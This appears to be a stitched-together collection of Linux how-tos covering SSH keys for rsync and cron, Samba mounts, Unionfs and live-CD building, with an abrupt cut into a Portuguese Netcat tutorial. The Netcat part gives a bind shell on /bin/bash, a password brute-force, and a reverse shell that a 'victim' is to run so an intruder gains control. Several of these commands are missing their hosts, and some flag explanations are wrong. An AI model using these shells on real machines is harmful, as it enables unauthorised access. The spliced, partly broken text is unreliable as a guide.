Looking for how to set up RSync over SSH so that you can run it in a cron job, or without entering a password?

It's actually very simple. Just follow these few steps:


---- 1 ----

As the user you are going to be running rsync as, and on the machine you will be running rsync on, type: ssh-keygen -t rsa

Follow the prompts and use the defaults for the filenames it gives you. Don't enter in a passphrase, otherwise you will still be prompted for a password when trying to connect.

You should then have two new files in path_to_user_home/.ssh, id_rsa and id_rsa.pub.


---- 2 ----

Open path_to_user_home/.ssh/id_rsa.pub and copy the text to the end of path_to_user_home/.ssh/authorized_keys file on the host you will be connecting to as the user you will be logging in as.

ex:in bash you can do it like this:
cat id_dsa.pub >> .ssh/authorized_keys

Note: if /.ssh/ or authorized_keys dont exist create them, this hapened to me in cygwin,
where i had to create .ssh/ and inside it i created the authorized_keys


---- 3 ----

Now try it out. Try ssh'ing from the host you created the id_rsa* files on to the one you added a text to the end of the authorized_keys file. You won't be prompted for a password any more.


---- 4 ----

Now you can use, cron (see Configuring a Cron Task below) to schedule rsync tasks using ssh, because you don't need to prompt the
password



Configuring a Cron Task

The main configuration file for cron, /etc/crontab, contains the following lines:

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly

The first four lines are variables used to configure the environment in which the cron tasks are run. The value of the SHELL variable tells the system which shell environment to use (in this example the bash shell), and the PATH variable defines the path used to execute commands. The output of the cron tasks are emailed to the username defined with the MAILTO variable. If the MAILTO variable is defined as an empty string (MAILTO=""), email will not be sent. The HOME variable can be used to set the home directory to use when executing commands or scripts.

Each line in the /etc/crontab file has the format:

minute hour day month dayofweek command



* minute — any integer from 0 to 59
* hour — any integer from 0 to 23
* day — any integer from 1 to 31 (must be a valid day if a month is specified)
* month — any integer from 1 to 12 (or the short name of the month such as jan, feb, and so on)
* dayofweek — any integer from 0 to 7 where 0 or 7 represents Sunday (or the short name of the week such as sun, mon, and so on)
* command — the command to execute. The command can either be a command such as ls /proc >> /tmp/proc or the command to execute a custom script that you wrote.

For any of the above values, an asterisk (*) can be used to specify all valid values. For example, an asterisk for the month value means execute the command every month within the constraints of the other values.

A hyphen (-) between integers specifies a range of integers. For example, 1-4 means the integers 1, 2, 3, and 4.

A list of values separated by commas (,) specifies a list. For example, 3, 4, 6, 8 indicates those four specific integers.

The forward slash (/) can be used to specify step values. The value of an integer can be skipped within a range by following the range with /. For example, 0-59/2 can be used to define every other minute in the minute field. Step values can also be used with an asterisk. For instance, the value */3 can be used in the month field to run the task every third month.

Any lines that begin with a hash mark (#) are comments and are not processed.
Example 22-1. Examples of crontabs

# record the memory usage of the system every monday
# at 3:30AM in the file /tmp/meminfo
30 3 * * mon cat /proc/meminfo >> /tmp/meminfo
# run custom script the first day of every month at 4:10AM
10 4 1 * * /root/scripts/backup.sh

As you can see from the /etc/crontab file, it uses the run-parts script to execute the scripts in the /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, and /etc/cron.monthly files on an hourly, daily, weekly, or monthly basis respectively. The files in these directory should be shell scripts.

If a cron tasks needs to be executed on a schedule other than hourly, daily, weekly, or monthly, it can be added to the /etc/cron.d directory. All files in this directory use the same syntax as /etc/crontab.

The cron daemon checks the etc/crontab file, the etc/cron.d/ directory, and the /var/spool/cron directory every minute for any changes. If any changes are found, they are loaded into memory. Thus, the daemon does not need to be restarted if a crontab file is changed.

Users other than root can configure cron tasks by using the crontab utility. All user-defined crontabs are stored in the /var/spool/cron directory and are executed using the usernames of the users that created them. To create a crontab as a user, login as that user and type the command crontab -e to edit the user's crontab using the editor specified by the VISUAL or EDITOR environment variable. The file uses the same format as /etc/crontab. When the changes to the crontab are saved, the crontab is stored according to username and written to the file /var/spool/cron/username.
Starting and Stopping the Service

To start the cron service, use the command /sbin/service crond start. To stop the service, use the command /sbin/service

Netcat - O Canivete Suíco do TCP/IP (in Portuguese/BR)

Autor: tom bishop
Data: 16/03/2005

Introduzindo-lhes

O netcat é um programa para consultoria de redes muito conhecido, isso deve-se ao fato de ele ser um programa muito versátil, podendo desde ser um simples telnet até uma ferramenta de brute-force. A seguir explicaremos como obtê-lo e nas páginas seguintes, seu funcionamento e como que ele faz isso.


Obtendo o canivete-suíço

A maioria das distribuições Linux já vem com o netcat instalado, outras vem com ele pré-instalado. Caso sua distribuição ainda não tenha o netcat, você pode obtê-lo em www.securityfocus.com e www.packetstormsecurity.net.

Para chamar o programa, basta o simples comando:

$ nc

Grupos de discussão sobre o Netcat estão em securityfocus.com e no Yahoo! (pelo menos são os que eu participo).

Na página seguinte, veremos a teoria, ou seja como ele funciona.



Como o Netcat funciona

A princípio o Netcat foi lançado para ser um telnet aprimorado. Até então a única utilidade que ele teria seria se conectar a um host. E eu te garanto, até hoje a única coisa que ele faz é isso mesmo, se conectar a um host. Mas aí você me pergunta: "Mas no começo do artigo você disse que ele poderia servir para escanear hosts e fazer brute-forces?"

Para responder à essa pergunta, vamos voltar ao nosso eletrizante episódio sobre o como o Netcat nasceu. Como já dito, ele nasceu para se conectar à hosts, nisso, consultores do mundo inteiro alertaram para a AtStake (fundação que mantinha o Netcat) que opções como listen, redirecionamento de dados e criação de logs poderiam ser incluídas no programa, de forma a não alterar sua principal funcionalidade, a conexão.

Agora, eu faço uma pergunta: "Como que é realizado o brute-force?"

O brute-force é o método de tentativa de obtenção de senhas utilizado quando um cliente se conecta a um host e tenta se logar, utilizando uma seqüência de senhas que estão em um arquivo. Ou seja, se eu pegar o Netcat, que nada mais é do que um telnet aprimorado, eu posso me CONECTAR ao host e com uma linha de comando, posso completar o comando com a comparação para obtenção das senhas. Como veremos mais adiante o comando ficaria assim:

$ nc -vv 79 < /home/tzbishop/wordlist.txt > /home/tzbishop/lognc.txt

Da mesma forma, para escanear um host, basta mandar o Netcat se conectar a todas as portas do computador analisado, assim primeiro ele se certificará de quais as portas abertas que ele pode estabelecer contato.

Respondida a nossa perguntinha do começo da página.

Veja a seguir a sintaxe de utilização do Netcat...



Utilizando o Netcat

Esta parte será prática, mas sempre utilizando os conceitos já aprendidos anteriormente.

O Netcat é chamado com o comando "nc", você pode tanto dar as sintaxes depois do nc, quanto na linha "CMD LINE" que aparece após o comando "nc" simples.

Para listar as sintaxes disponíveis no Netcat, digite:

$ nc -h

Agora vamos traduzir as sintaxes para o português para o melhor compreendimento de todos:

* -l = coloca uma porta em estado de listenning (escuta);
* -p = define uma porta;
* -v = ativa o recebimento de eco;
* -vv = ativa o recebimento de eco. Mostra mais detalhes que -v;
* -u = utiliza o protocolo UDP ao invés de TCP;
* -t = para se conectar a TELNET;
* -o = gera um log em formato hexadecimal;
* -w = determina um tempo máximo para aguardar uma reposta;
* -e = redireciona arquivos;
* -n = recebe e faz conexões apenas em formato numérico (IP);


É mais do que óbvio que comandos e sintaxes do Linux podem ser misturadas, assim como a utilização de pipes( | ), <, > e >>.

Veremos agora, a versatilidade e utilização dos comandos em ação:



1) Conectando-se a um host

É feita da mesma maneira que o telnet. É especificado apenas um host e a porta a se conectar. Exemplos:

$ nc mail.yahoo.com.br 110
$ nc www.terra.com.br 80

Lembrando que a porta 110 é dos servidores de POP3 e a 80 é para web.



2) Abrindo uma porta (listenning)

É utilizada a sintaxe -l para colocar em listenning e -vv para retornar eco com detalhes. A seguir é estipulada a porta:

$ nc -l -p 53 -vv

Será retornada uma mensagem:

"listenning on [any] 53 ... "



3) Escaneando portas com o Netcat

Será feita uma tentativa de conexão à um IP ou host e será estipulada as portas da tentativa de conexão:

$ nc -vv www.vivaolinux.com.br 110 80 139
$ nc -vv www.vivaolinux.com.br 1-10000

No primeiro exemplo serão escaneadas apenas as portas 110 (POP3), 80 (web) e 139 (compartilhamento do Windows).

Já no segundo exemplo serão escaneadas desde a porta 1 até a 10000.



4) Abrindo a porta, dando entrada para um "shell" (=Trojan)

Será colocada a porta X em listenning, redirecionaremos a saída de dados para um shell (/bin/bash). Assim quando alguém se conectar a essa porta terá domínio total sobre o computador. Funciona de forma semelhante a um trojan.

$ nc -l -e /bin/bash -p 1033



5) Realizando um brute-force

Na página anterior eu já disponibilizei a sintaxe, ou seja, como se faz. Veja a sintaxe novamente:

$ nc -vv 79 < ~/wordlists.txt > bruteforce.log

Perceba, que conectaremos a porta do FINGER(79) e redirecionaremos o conteúdo do arquivo wordlists.txt para essa porta. Quando algum resultado for válido ele será salvo em bruteforce.log para uma análise posterior dos resultados.



6) Fazendo um sniffer

Além de tudo isto demonstrado acima, o 'amazing' Netcat ainda pode capturar todo o tráfego de uma rede. Eu acho que você já sabe como fazer isso se observar os redirecionamentos utilizados no exemplo anterior. Mas vamos lá.

Iremos nos conectar a uma porta e mandar o netcat "dar eco" nela, ou seja, exibir TUDO o que passa por ela. Após isso, é só redirecionar tudo o que o Netcat gravou para um arquivo. Veja a sintaxe, para melhor compreensão:

$ nc -vv -L 127.0.0.1 -p 80 > ~/sniffer.log



Fazendo uma conexão reversa com o netcat

A conexão reversa é um método de invasão parecida com os trojans, porém ocorre de maneira contrária, ou seja, não será o invasor que se conectará ao host, mas o host se conectará ao invasor, concedendo-lhe poderes administrativos. O mais surpreendente é que utilizando a imaginação, podemos fazer isso com o Netcat. Vamos relembrar as características aprendidas do Netcat:


* Abrir portas;
* Estabelecer conexão;
* Redirecionar tráfego de uma porta para um programa.


Sabendo disso, vamos tomar um IP fictício de exemplo = 200.212.21.2. O que teremos que fazer é abrir uma porta em nosso computador local e fazer, executando um código arbitrário no computador da vítima, com que ela se conecte ao nosso computador e nos conceda poderes em sua máquina. Vamos no modo gráfico e abriremos duas janelas, abrindo as portas 53 e 79:

$ nc -l -n -p 53 -vv
$ nc -l -n -p 79 -vv

Após isso, faremos com que a vítima execute o seguinte código no computador dela:

$ nc 53 | /bin/bash | nc 79

Isso fará com que os comandos que nós dermos na porta 53, passem pelo shell bash e a resposta seja redirecionada na porta 79.

Lembrando que as portas 53 e 79 foram utilizadas, pois o firewall deixa essas portas abrirem, pois são de consultas DNS e FINGER respectivamente.



Finalizando

Como vimos, o Netcat é realmente um canivete suíço e pode ser utilizado para diversos fins, desde a análise de redes por administradores competentes até a invasão de computadores e redes. Mas não é só isso que o Netcat é capaz de fazer, com um pouco de imaginação, você vai descobrindo mais truques e uma série de coisas estão disponíveis neste maravilhoso programa.

Aqui termina o meu artigo, espero que ele tenha sido útil para todos que o leram.

Qualquer dúvida postem aqui no artigo mesmo ou mande um email para tzbishop2k at yahoo.es que terei prazer em respondê-los.

Abraços à todos!

Mais links para aprendizado:

Samba Client on Linux (Windows Network Folders)

Samba Client

By : Julien Herbin Email : jam@ecranbleu.org
Don't hesitate to contact me in case you need any information. Please inform me of any mistake I may have done.
Last modified : 2004-24-01

This Howto will show you how to browse a Microsoft Windows shared directory and then mount it on your local Linux filesystem using SAMBA (http://www.samba.org/).
This Howto was written for the Debian Linux distribution, because packages management and dependencies is easy and commonplace through the APT command. It doesn't mean that the configuration won't work with another Linux distribution, since packages to install should be the same, but some configuration files may be located in another directories of your filesystem.



Installation
Installing the packages
First login as root in order to get the required packages.
You need to install both samba-common and smbclient packages. If you are using a Debian distribution, then type in :


$ apt-get install smbclient


Maybe another packages will be installed since smbclient depends "samba-common, libc6, libcupsys2, libncurses5, libpam0g, libreadline4".
Others will have to get those package installed another way (RPM for RedHat and Mandrake for instance).

If you indent to mount windows shares directly on your filesystem, install the smbfs package. Note that to do such a thing, you will need to include "SMB Network FilesSystem" to your kernel or to your modules. Just check the "SMB file system support" item in the "Filesystem => Network Filesystem" menu. Then rebuild you kernel and reboot, or rebuild you modules and that's all ;).
For Debian users, then type in :


$ apt-get install smbfs


Others will have to get this package installed another way.



Configuration

Now that install is complete, you should be asked your desired Workgroup / Domain Name. You should enter here the same workgroup (usually "mshome" by default on win2k and win XP).

Then you will be asked if you want to use password encryption. Answer yes.

Finally, answer yes to use WINS settings from DHCP if you have a Windows DHCP server running on a computer of your network (note that the package "dhcp3-client" should be installed on you system to get this feature work correctly).


Altering the configuration file

In case you need to change the configuration you setted up just after installation, just edit the "/etc/samba/smb.conf" file.



Doing some tests

Shares directories browsing
Let's check that your installation is successfull and do a first browsing test.
My computer "Fraise" runs a Windows XP Home Edition with the guest login on. So, i don't have to worry about a username/password to get to access my shared directories. If you do need a username/password, then add " -U your_username". Your password should be asked when press enter.

$ smbclient -L network_name_of_your_windows_computer

If your computer is called "fraise", then enter :

$ smbclient -L fraise

A password will be asked to you. If you set one on your Windows computer, then enter it now.

The result should look like the following :


[15:03:24][jam@cerise] ~$ smbclient -L fraise
Password:

Sharename Type Comment
--------- ---- -------
IPC$ IPC Distant IPC
print$ Disk Printers Drivers
D Disk
hpdeskje Printer hp deskjet 845c
UtilZ Disk My read only shared directory
Upload Disk My read/write shared directory

Server Comment
--------- -------

Workgroup Master
--------- -------


Example of a manual mount
Now, lets assume the package "smbfs" is correctly installed and your kernel or your modules include the "smbfs driver". We are going to mount the "UtilZ" and the "Upload" directories from the computer called "Fraise".


cd /mnt
mkdir smb_UtilZ_on_Fraise
mkdir smb_Upload_on_Fraise


Now try :

mount -t smb //fraise/UtilZ /mnt/smb_UtilZ_on_Fraise

if it says unknown filesystem (as it says on Fedora 6) try:

mount -t cifs //fraise/UtilZ /mnt/smb_UtilZ_on_Fraise


Note that if you compiled "smb file system driver" as a module, it should load automaticaly :



[13:08:19][root@cerise] /mnt# lsmod
Module Size Used by
smbfs 68760 2



Automatic mount a startup

If the last step was successfull, you should not meet any kind of problem here. Here are the lines to add to your "fstab" configuration file (usually located in "/etc"). The last two lines are responsible for the two shared directories mountage on startup.
The first one is mounted read-only whereas the second one is mounted read-write. If you have need "user name/password" to authentifiate, then add in the "" column "username=your_user_name,password=your_password,ro,user".


//fraise/UtilZ /mnt/smb_UtilZ_on_Fraise smbfs password=,ro,fmask=755,dmask=755 0 0

//fraise/Upload /mnt/smb_Upload_on_Fraise smbfs password=,fmask=777,dmask=777 0 0


if it says unknown filesystem (as it says on Fedora 6) or dosent work try:


//fraise/UtilZ /mnt/smb_UtilZ_on_Fraise cifs password=,ro,fmask=755,dmask=755 0 0

//fraise/Upload /mnt/smb_Upload_on_Fraise cifs
password=,fmask=777,dmask=777 0 0


You can set up your own options to give permissions on files and directories. For example, it is possible to assign au uid or a gid to the files and directories
Type "man smbmount" to get more details on options



GUI Browsing
If you feel like using a GUI to manage your Samba mounts, you can use the program LinNeighborhood (http://www.bnro.de/~schmidjo/index.html).

Run as root :


$ apt-get install smb4k


To start the program, type in your favorit X console :

$ smb4k

Please refer to program's homepage to get information.

Install and Use Unionfs (Merging Directories)

Howto: How Install and Use Unionfs (Merging Directories)

Unionfs, developed at Stony Brook university since 2004, is a stackable unification file system, which can merge the contents of several directories (so called branches) while keeping their physical content separate. It allows any mix of read-only and read-write branches, as well as insertion and deletion of branches on the fly. Unionfs can be used in several ways, for example to unify home directories from multiple filesystems on different disk partitions, or to merge several CDs to create a unified view of a photo archive. In a similar view, Unionfs, with copy-on-write functionality, can be used to merge read-only and read-write filesystems together and to virtually allow modification of read-only filesystems saving changes to the writable ones.

SLAX is a 177 MB Linux Live distribution which aims at compacting full featured Linux operating system to a portable medium (like usb flash drive or mini-cd) and allows everyone to boot Linux on any machine without the need to install it. It works even on computers with no harddisk at all. Unionfs is the most important part of a SLAX, it allows SLAX to seem and act as a real Linux OS with full-writable root directory tree. So let's speak about unionfs first.
Getting started

To get unionfs working, you need to create a Linux kernel module by compiling its source codes. Unionfs is available as a module extension for Linux Kernel 2.4.20 / 2.6.9 and higher. Download the latest version from FTP and extract the content of the archive by using

$ tar -xzf unionfs-x-y-z.tar.gz

Then cd to its directory and read README and INSTALL files which are part of the archive. There are many instructions how to avoid problems. Before the compilation itself, you might find it useful to know that it's possible to disable compiling debug information together with the module. Debug info is useful for reporting bugs, but significantly increases the size of kernel module. Two parameters must be set to disable debug at all:

* create a file called fistdev.mk in the directory with sources
* add this text to it:
EXTRACFLAGS=-DUNIONFS_NDEBUG
UNIONFS_DEBUG_CFLAG=

The compiled kernel module will be about 90 KB big without debug info, compared to 5 MB with it (you can download fistdev.mk used to compile unionfs for SLAX)

Another important thing to make the compilation work properly is to download and extract sources for your running kernel and to modify LINUXSRC variable in unionfs' Makefile, adding path where you actually extracted it (this can be autodetected in some cases).

Finally, use the following commands to build and install unionfs module into /lib/modules/$(KernelVersion)/kernel/fs/unionfs:

$ make
$ make install
$ depmod -a



Using unionfs

In the following example, we will merge contents of two directories into a single directory /mnt/union. We assume that all directories already exist.

$ modprobe unionfs
$ mount -t unionfs -o dirs=/mnt/cdrom1=ro:/mnt/cdrom2=ro unionfs /mnt/union

From now, the directory /mnt/union will contain all files and directories from /mnt/cdrom1 and /mnt/cdrom2, merged together and both read only. If the same filename is used in both cdrom directories, the one from cdrom1 has precedence (because it was specified leftmost in the list).
Using unionctl

Unionctl is a tool which is created (together with uniondbg) during unionfs compilation and is installed to /usr/local/sbin. Unionctl is intended to manage the existing union, to list, add, modify or delete existing branches. Some simple example follows, use unionctl command without any argument to see all available options.

To list branches in existing union, use

$ unionctl /mnt/union --list

which will produce the following output

/mnt/cdrom1 (r-)
/mnt/cdrom2 (r-)

To add another directory (/mnt/cdrom3) into existing union, use

$ unionctl /mnt/union --add --after /mnt/cdrom2 --mode ro /mnt/cdrom3

and unionctl --list will now produce

/mnt/cdrom1 (r-)
/mnt/cdrom2 (r-)
/mnt/cdrom3 (r-)

In the case when you change the content of branches themselves, execute the following command to force revalidation of the union:

uniondbg -g /mnt/union



Writing to union

Merging read-only directories is useful in many cases, but the union itself remains read-only too, until a read-write branch is added to it. In that case, all changes are stored in leftmost branch (using copy-up method, see below) and file deletions are done by using one of the two methods available:

* WHITEOUT mode, inserts a .wh (whiteout) file to mask out a real file
* DELETE_ALL mode, tries to delete all instances of a file from all branches

WHITEOUT mode is used as default. Copy-up is a special method used to handle file modifications in union. A file from ro branch can't be modified, so it is copied to upper (left) read-write branch at the time when the modification should begin. Then the modification is possible and modified file remains in rw branch.

To add a rw branch at the top of union in our example, type

$ unionctl /mnt/union --add --before /mnt/cdrom1 --mode rw /mnt/changes

All the changes will be stored in /mnt/changes and the union will look like this:

/mnt/changes (rw)
/mnt/cdrom1 (r-)
/mnt/cdrom2 (r-)
/mnt/cdrom3 (r-)



Practical unionfs application - SLAX

Data stored on a read-only medium like CD-ROM can't be modified. A Live CD Linux distribution, which is offering full write support to all directories, needs to use special techniques to allow virtual modifications and to save all changes in memory. SLAX is using these techniques for very long time, starting at the end of 2003 with ovlfs and implementing unionfs at the end of 2004. SLAX 5, released in April 2005, can give you an impression of what miracles could be, thanks to unionfs, created.



Links

Stony Brook university: http://www.fsl.cs.sunysb.edu/
UnionFS: http://www.fsl.cs.sunysb.edu/project-unionfs.html
SLAX: http://www.slax.org
Linux Live scripts: http://www.linux-live.org
Linux kernel: http://www.kernel.org

Monday, July 14, 2008

Live CD From Your In Installation / Running System - Ubuntu - Hard Way

Transforming your Installation into a Live DVD/CD


José Oliveira: I tested this tutorial on Ubuntu 8.04 Hardy Heron using the method without using de debootstrap, and it worked like a charm, my only work was copying the commands from tutorial and paste them in the bash shell :).


This HOWTO is about making a live CD/DVD from the main system on your hard drive. This might be desired if you have customized your system and want to have it on CD.

Another approach that will be discussed here is building your live CD/DVD from scratch. This will be done by building a new system using debootstrap. This is usefull if you want to build a clean live CD, or if you want to build a minimal rescue cd. (Consult Appendix.2 for more details about building a CD from scratch).

The live CD is usually created with a filesystem called squashfs. Squashfs is read only compressed filesystem that allow us to squeeze our system into a single CD. Note that your system has to be about 2GB (this might need some trial an error) to produce a compressed image that fits on the CD.




Background on live CD/DVD

Note: This section is a clarification of how live CD works. You don't have to read it. You can skip it if you want.

A live CD/DVD is basically a normal linux installation just like an ordinary harddrive installation. However, simply copying the harddirve installation over to a CD/DVD is not enough to produce a working system. Why? because there are still minor differences between a live CD/DVD and on ordinary harddrive installation. So in addition to copying our harddirve installation to the CD/DVD we must address those differences as well.

So what are these differences?
  1. The CD or DVD is read only media. Linux needs to have write access to certain parts of the system to be able to operate properly (like "/dev" "/proc" "/var" "/tmp"). There are a lot of approaches to address this problem. All of which utilize the system RAM. Some of these approaches enable write access only to essential directories and files, and hence, they do not allow the user to modify the system or install new packages while in the live CD. Other approaches, like unionfs which is what is used in this guide, allows the user to write to any part of the system. This is done by merging part of the RAM with the read-only filesystem of the live CD/DVD and making the look like one filesystem that have read-write access. Unionfs has to be mounted at boot in a certain manner.


  2. With the harddrive installation the location of the root filesystem is fixed. So it is passed to the kernel at boot time using the root=/dev/... parameter. With a live CD/DVD, the location of the root device is not fixed as the user might have multiple cdrom drives, these drives can be ide, scsi ... etc. So for the root filesystem to be mounted, there must be a way to identify the root device, and then we have to load the suitable kernel modules (to be able to access the cdrom controller as well as the CD filesystem). All this has to be done even before we have a root filesystem mounted.



  3. To fit on a CD, the filesystem is usually compressed using squashfs. So we need to autodetect the filesystem type. We also need to have the proper modules for mounting it.




These considerations require special preparation at boot time, some of which must be performed even before mounting the actual filesystem. How can we do this?

Linux introduced a mechanism that allow for such preparations at boot time before the actual root filesystem is mounted. It is called the initial root filesystem or initramfs. This mechanism is used also in mounting normal harddirve installations, as it adds flexibilty to the boot process.


initramfs is virtual filesystem. It is a compressed cpio (cpio is an archive format similar to tar) archive that contains a minimal shell, kernel modules necessary for mounting the root filesystem and number of scripts that perform some tasks at boot time. The most important of these scripts is a script called init located at the root of the initramfs.

How does initramfs work?

The boot loader loads both the kernel and the initramfs into memory and starts the kernel. The kernel then unpacks the initramfs and mount it as initial root filesystem, and then looks for the init program within the initial filesystem, and once it finds it, it executes it and hand the boot process over to it. This init scirpt is responsible for finding the real root filesystem and mounting it. It is also responsible for any special preparations required at boot time.

So any special operations required for booting the system from live media can be coded into the initramfs boot scripts.

How is initramfs is created?

We do not have to create initramfs manually (although it can be done). There are tools for creating and updating initramfs like the command update-initramfs. Moreover, these tools can include custom scripts into the initramfs if they are placed in a certain preset locations (/usr/share/initramfs/scripts). So all we have to do is dump our custom scripts (which will do all the required preparation for booting the live CD/DVD) into these preset locations, and then create a custom initramfs by running update-initramfs.

We don't even have to write these scripts. Why? becuase there are packages that have scripts tailored for booting form live CDs. One of these packages is called casper (this is the package used in this howto). By installing casper into the system, it places the scripts in there proper locations (where they can be spotted by update-initrfamfs). The only thing we need to do after installing casper is running update-initramfs to create an initramfs suitable for live CD/DVD.



The live CD/DVD structure:

The directory tree of the live CD/DVD we are going to create is going to look like this:

Code:

(CD ROOT)
|-------+casper
| |-------filesystem.${FORMAT}
| |-------filesystem.manifest
| |-------filesystem.manifest-desktop
|
|-------+boot
| |--------+grub
| | |--------menu.lst
| | |--------stage2_eltorito
| |
| |-------vmlinuz
| |-------initrd.gz
| |-------memtest86+
|
|--------md5sum.txt

  • /casper/filesystem.${FORMAT}: This is the container of the linux filesystem we are going to copy from our harddisk. It is usually a compressed filesystem like squahsfs.
  • /casper/filesystem.manifest: This file is optional. You only need it if you decide to include the Ubuntu installer in the CD. The purpose of this file will be explained later.
  • /casper/filesystem.manifest-desktop: This file is optional. You only need it if you decide to include the Ubuntu installer in the CD. The purpose of this file will be explained later.
  • /boot/grub/menu.lst: File containing boot options for the live CD/DVD.
  • /boot/grub/stage2_eltorito: The boot loader of the CD. (stage2 of grub).
  • /boot/vmlinuz: The linux kernel. This is copied form the linux filesystem.
  • /boot/initrd.gz: the initramfs that contain the customizations necessary for the live CD/DVD.
  • /boot/memtest86+: Optional file used to test the RAM of the machine form the live CD/DVD.
  • /md5sum.txt: Optional file containing checksums for all the files in the CD.



What you need:
  • A working Debian or Ubuntu machine with internet access.
  • CD/DVD Writer.
  • Enough space in your harddirve. At least two times as much space as your installation size.


Outline of the steps:

A. Prepare Our work environment.

B. Copy the Source system to the target directory.
Note: People building a live CD/DVD from scratch using debootstrap: This step and replaced with the instructions listed here.

C. Chroot into the new system and make some modifications.

D. Prepare The CD directory tree.

E. Build the CD/DVD

Appendix 1. Adapting this guide to Debian.
Appendix 2. Building the live media form scratch using Debootstrap.


Conventions used in this HOWTO:
  • Text highlighted in Magenta is meant to be replaced by the user's custom value.
  • Commands performed within a chroot will be in Blue.
  • Optional arguments or steps will be highlighted in Gray.
  • Special notes and instructions for people building a live CD/DVD from scratch using debootstrap are highlighted in Green
  • I will use gedit as my default text editor. Replace gedit with your favorite text editor.

A. Preparing the environment

1. Set some variables

Code:

export WORK=~/work
export CD=~/cd
export FORMAT=squashfs
export FS_DIR=casper


The WORK Directory is where our temporary files and mount point will reside.
The CD is the location of the CD tree.
FORMAT is the filesystem type. We you are going to use a compressed squashfs
FS_DIR is the location of the actual filesystem image within the cd tree.

Replace only the values highlighted in Magenta.


2. Create the CD and the WORK directory structure:

Code:

sudo mkdir -p ${CD}/{${FS_DIR},boot/grub} ${WORK}/rootfs



3. Install some packages on your current system:

Code:

sudo apt-get update


Code:

sudo apt-get install mkisofs grub squashfs-tools linux-ubuntu-modules-$(uname -r) qemu


qemu is optional. It is only needed for testing the cd before burning it. It can be substituted with any other virtualization software like virtualbox.

linux-ubuntu-modules-$(uname -r) is only needed for Ubuntu Gutsy and later. If using an Ubuntu version prior to Gutsy omit this package as it is part of the main kerenl package.


B. Copy your installation into the new filesystem.

Note: People building a live CD/DVD from scratch using debootstrap: skip this step and replace it with the instructions listed here.

Code:

sudo rsync -av --one-file-system --exclude=/proc/* --exclude=/dev/*\
--exclude=/sys/* --exclude=/tmp/* --exclude=/home/*\
--exclude=/lost+found / ${WORK}/rootfs


Note: rsync is used instead of cp to take advantage of the --one-file-system and the --exclude options.


If you have a separate boot partition you will have to copy it using the following command:

Code:

sudo cp -av /boot/* ${WORK}/rootfs/boot



(Optional) Copy settings in your home dir:


If you want to preseve your user account settings which are stored in your home directory, you can copy them to ${WORK}/rootfs/etc/skel/.

But first we have to define what files we want to copy. For example I am using xcfe4 as my DE, and it stores all it settings in a directory called .config in my home directory, so I am going to add .config to the variable $CONFIG:

Code:

CONFIG='.config .bashrc'

Now, Copy the CONFIG files using the following command:

Code:

cd ~ && for i in $CONFIG
do
sudo cp -rpv --parents $i ${WORK}/rootfs/etc/skel
done


C. Chroot into the new system and modify it:

1. Chroot into the copied system after mounting proc and dev:

Note: People building a live CD/DVD from scratch using debootstrap: skip this step.

Code:

sudo mount -o bind /dev/ ${WORK}/rootfs/dev


Code:

sudo mount -t proc proc ${WORK}/rootfs/proc


Code:

sudo chroot ${WORK}/rootfs /bin/bash

N.B: All commands in Blue are done within a chroot.

Now you are within chroot environment, type the following command:

Code:

LANG=



Note: People building a live CD/DVD from scratch using debootstrap: Resume the steps of the guide here.


2. Install Packages Essential for live CD:


Code:

apt-get update


Code:

apt-get install casper discover1 xresprobe


casper contain the live scirpts.
discover1 & xresprobe are used for autodetectin hardware at startup.


3. (Optional) If you want your live cd to have an installer, install the Ubuntu installer:

Code:

apt-get install ubiquity


Note: People using kde replace replace the previous command with

Code:

apt-get install ubiquity ubiquity-frontend-kde


Credit for this goes note to Fragadelic author of remastersys. Remastersys.



(Optional Step)Install any packages you want to be in the CD. Some of the following packages are useful in emergency situations:

Code:

sudo apt-get install gparted ms-sys testdisk wipe partimage xfsprogs reiserfsprogs jfsutils ntfs-3g ntfsprogs dosfstools mtools


gparted: patitioning tool. It is automatically installed as a dependecy of ubiquity.
ms-sys: writing a Microsoft compatible boot record (MBR).
testdisk: Partition scanner and disk recovery tool.
wipe: Secure file deletion.
partimage: backup partitions into a compressed image file (like norton ghost).
xfsprogs reiserfsprogs jfsutils: Tools for handling different filesystems.
mtools: Tools for manipulating MSDOS files



Note: People building a live CD/DVD from scratch using debootstrap: Additional step right here. Look in appendix.2 for details.



4. Update the initramfs:

Note: People building a live CD/DVD from scratch using debootstrap: Commands in this step are to be modified. Look in appendix.2 for details.


First update modules.dep:

Code:

depmod -a $(uname -r)

Code:

update-initramfs -u -k $(uname -r)


As already metioned above, the initramfs is reponsible for much of the preparation required at the boot time of the CD/DVD. The updated initramfs now contain the live scirpts installed with casper.


5. Delete these files.

Code:

for i in "/etc/hosts /etc/hostname /etc/resolv.conf /etc/timezone /etc/fstab /etc/mtab /etc/shadow /etc/shadow- /etc/gshadow /etc/gshadow- /etc/gdm/gdm-cdd.conf /etc/gdm/gdm.conf-custom /etc/X11/xorg.conf /boot/grub/menu.lst /boot/grub/device.map"
do
rm $i
done 2>/dev/null


These files are not needed in the CD/DVD. some of them are could interfer with the CD/DVD boot process. (e.g. shadow and gdm.conf-custom can interfere with autologin).


6. Clean apt cache

Code:

apt-get clean


7. Clean some dirs and files:

Code:

rm -r /tmp/* /root/* 2>/dev/null


Code:

rm /boot/*.bak 2>/dev/null


8. Remove non system users

Note: People building a live CD/DVD from scratch using debootstrap: skip this step.

Code:

for i in `cat /etc/passwd | awk -F":" '{print $1}'`
do
uid=`cat /etc/passwd | grep "^${i}:" | awk -F":" '{print $3}'`
[ "$uid" -gt "999" -a "$uid" -ne "65534" ] && userdel --force ${i} 2>/dev/null
done

Non-system users are users created by you that have user id more than 999.


9. Clean the chroot environment form unnecessary files:

Note: People building a live CD/DVD from scratch using debootstrap: skip this step.

Code:

find /var/run /var/log /var/mail /var/spool /var/lock /var/backups /var/tmp -type f -exec rm {} \;



10. If you are using GDM recreate it's config file:

Note: People building a live CD/DVD from scratch using debootstrap: skip this step.

Code:

[ -f "/etc/gdm/factory-gdm.conf" ] && cp -f /etc/gdm/factory-gdm.conf /etc/gdm/gdm.conf 2>/dev/null


Sometimes a customized /etc/gdm/gdm.conf can interfere with the live CD/DVD autologin.



11. Create some files in /var/log:

Note: People building a live CD/DVD from scratch using debootstrap: skip this step.

Code:

